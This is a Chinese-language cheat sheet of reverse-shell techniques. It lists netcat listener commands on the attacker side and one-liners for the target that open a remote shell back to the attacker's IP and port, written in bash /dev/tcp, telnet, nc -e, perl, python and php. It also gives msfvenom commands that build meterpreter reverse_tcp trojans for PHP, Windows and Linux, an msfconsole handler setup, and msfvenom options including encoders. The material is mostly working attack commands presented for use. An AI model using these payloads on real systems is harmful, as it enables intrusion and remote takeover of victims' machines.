攻击机监听端口
netcat: nc -nvlp 4444
-n: 不反向解析dns,即不通过ip解析域名 no dns
-v: 详细信息输出 verbose
-l: 监听 listen
-p: 指定端口 port
靶机执行shell命令
bash -i >& /dev/tcp/攻击机ip/攻击机port 0>&1
bash -i:交互式shell
>& :输入输出重定向:0 stdin, 1 stdout, 2 stderr
/dev/tcp/ip/port: 特殊文件
注: /dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
攻击机监听端口 启动两个终端
netcat: nc -nvlp 4444
netcat: nc -nvlp 5555
靶机telnet反弹shell
telnet 攻击机ip 4444 | /bin/bash | telnet 攻击机ip 5555
注:bash进程的 0 ,1 :stdin,stdout 标准输入输出描述符 都重定向到pipe,关联两个telnet进程,两个telnet进程分别与攻击机两个端口建立了socket连接
攻击机监听端口
nc -nvlp 4444
靶机连接端口并反弹shell
nc -v 攻击机ip 4444 -e /bin/bash
-e: 指定nc连接成功后执行的程序
攻击机监听端口
nc -nvlp 4444
靶机perl反弹shell
perl -e 'use Socket;$i="攻击机ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
攻击机监听端口
nc -nvlp 4444
靶机python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
攻击机监听端口
nc -nvlp 4444
靶机php反弹shell
php -r '$sock=fsockopen("攻击机ip",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
msfvenom 生成木马
1. 生成php反弹木马:
msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f raw > /root/shell.php
2. 生成windows反弹木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f exe > /root/hacker.exe
3. 生成linux反弹木马:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f elf > /root/shell
msfconsole 控制台监听
1. 选择监听模块:
use exploit/multi/handler
2. 设置payload反弹:
set payload windows/meterpreter/reverse_tcp
注:此处为生成木马payload
3. 设置LHOST、LPORT参数:
set LHOST 攻击机ip set LPORT 监听端口
注:和生成木马设置对应
4. exploit 或 run 开始攻击,进行监听
5. 等待靶机运行木马,msf产生session会话
msfvenom 命令参数:
-p, --payload
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled
-f, --format
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch
--platform
-s, --space
-b, --bad-chars 设定规避字符集,比如: '\x00\xff'
-i, --iterations
-c, --add-code
-x, --template
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out
-v, --var-name
--shellest 最小化生成payload
-h, --help 查看帮助选项